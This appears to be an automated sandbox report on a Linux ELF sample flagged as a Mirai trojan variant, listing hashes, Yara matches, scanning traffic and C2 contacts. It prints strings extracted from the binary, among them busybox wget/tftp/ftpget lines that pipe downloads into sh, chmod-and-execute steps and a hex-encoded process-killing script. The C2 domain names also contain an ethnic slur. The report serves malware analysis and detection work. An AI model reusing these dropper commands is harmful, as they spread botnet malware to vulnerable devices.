Linux Analysis Report
nklx86.elf

Overview

General Information

Sample name: nklx86.elf
Analysis ID: 1543152
MD5: ad3dffdb2f60c62fa8965782227f7004
SHA1: a75d685d390f8f4f6b4ccfe82aae1facd62e196d
SHA256: c559d179619c9811a2150435973aaaf4a39583dc0af69d7d33269a596fcd857b
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Machine Learning detection for sample
Detected TCP or UDP traffic on non-standard ports
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Yara signature match

Classification

AV Detection

barindex
Source: nklx86.elf ReversingLabs: Detection: 52%
Source: nklx86.elf Joe Sandbox ML: detected
Source: nklx86.elf String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: nklx86.elf String: .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"

Networking

barindex
Source: global traffic TCP traffic: 45.156.86.24 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 185.150.24.67 ports 38241,1,2,3,4,8
Source: global traffic TCP traffic: 192.168.2.14:51304 -> 185.150.24.67:38241
Source: global traffic TCP traffic: 192.168.2.14:58788 -> 45.156.86.24:38241
Source: unknown TCP traffic detected without corresponding DNS query: 140.50.195.125
Source: unknown TCP traffic detected without corresponding DNS query: 177.233.137.127
Source: unknown TCP traffic detected without corresponding DNS query: 137.198.169.164
Source: unknown TCP traffic detected without corresponding DNS query: 167.76.226.26
Source: unknown TCP traffic detected without corresponding DNS query: 187.84.208.61
Source: unknown TCP traffic detected without corresponding DNS query: 183.162.101.195
Source: unknown TCP traffic detected without corresponding DNS query: 138.199.211.255
Source: unknown TCP traffic detected without corresponding DNS query: 167.84.253.140
Source: unknown TCP traffic detected without corresponding DNS query: 114.72.197.191
Source: unknown TCP traffic detected without corresponding DNS query: 36.82.130.234
Source: unknown TCP traffic detected without corresponding DNS query: 39.64.28.45
Source: unknown TCP traffic detected without corresponding DNS query: 179.105.167.227
Source: unknown TCP traffic detected without corresponding DNS query: 100.36.37.32
Source: unknown TCP traffic detected without corresponding DNS query: 28.47.137.211
Source: unknown TCP traffic detected without corresponding DNS query: 167.176.53.217
Source: unknown TCP traffic detected without corresponding DNS query: 69.72.168.215
Source: unknown TCP traffic detected without corresponding DNS query: 198.225.119.135
Source: unknown TCP traffic detected without corresponding DNS query: 121.65.230.143
Source: unknown TCP traffic detected without corresponding DNS query: 209.157.111.212
Source: unknown TCP traffic detected without corresponding DNS query: 15.247.255.202
Source: unknown TCP traffic detected without corresponding DNS query: 223.240.23.97
Source: unknown TCP traffic detected without corresponding DNS query: 55.205.72.40
Source: unknown TCP traffic detected without corresponding DNS query: 194.107.216.250
Source: unknown TCP traffic detected without corresponding DNS query: 79.26.50.29
Source: unknown TCP traffic detected without corresponding DNS query: 115.226.107.160
Source: unknown TCP traffic detected without corresponding DNS query: 79.139.80.207
Source: unknown TCP traffic detected without corresponding DNS query: 17.61.111.250
Source: unknown TCP traffic detected without corresponding DNS query: 100.188.142.234
Source: unknown TCP traffic detected without corresponding DNS query: 161.228.14.242
Source: unknown TCP traffic detected without corresponding DNS query: 157.8.49.157
Source: unknown TCP traffic detected without corresponding DNS query: 49.60.237.11
Source: unknown TCP traffic detected without corresponding DNS query: 48.55.57.153
Source: unknown TCP traffic detected without corresponding DNS query: 5.105.206.243
Source: unknown TCP traffic detected without corresponding DNS query: 131.121.242.234
Source: unknown TCP traffic detected without corresponding DNS query: 4.245.117.158
Source: unknown TCP traffic detected without corresponding DNS query: 75.56.164.22
Source: unknown TCP traffic detected without corresponding DNS query: 194.82.103.183
Source: unknown TCP traffic detected without corresponding DNS query: 121.239.220.23
Source: unknown TCP traffic detected without corresponding DNS query: 78.76.177.104
Source: unknown TCP traffic detected without corresponding DNS query: 41.15.138.211
Source: unknown TCP traffic detected without corresponding DNS query: 15.150.191.57
Source: unknown TCP traffic detected without corresponding DNS query: 223.171.8.24
Source: unknown TCP traffic detected without corresponding DNS query: 183.201.20.71
Source: unknown TCP traffic detected without corresponding DNS query: 31.112.17.49
Source: unknown TCP traffic detected without corresponding DNS query: 52.169.138.8
Source: unknown TCP traffic detected without corresponding DNS query: 171.45.56.202
Source: unknown TCP traffic detected without corresponding DNS query: 134.182.182.185
Source: unknown TCP traffic detected without corresponding DNS query: 44.237.52.141
Source: unknown TCP traffic detected without corresponding DNS query: 69.19.145.232
Source: unknown TCP traffic detected without corresponding DNS query: 159.175.74.254
Source: global traffic DNS traffic detected: DNS query: chinklabs.dyn
Source: global traffic DNS traffic detected: DNS query: yellowchink.pirate
Source: nklx86.elf String found in binary or memory: http:///curl.sh

System Summary

barindex
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenablelinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> >sh .k/bin/busybox wget http:///curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: .dThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4/wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x
Source: ELF static info symbol of initial sample .symtab present: no
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: nklx86.elf, type: SAMPLE Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5801.1.0000000008048000.0000000008055000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: classification engine Classification label: mal64.troj.linELF@0/0@2/0
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs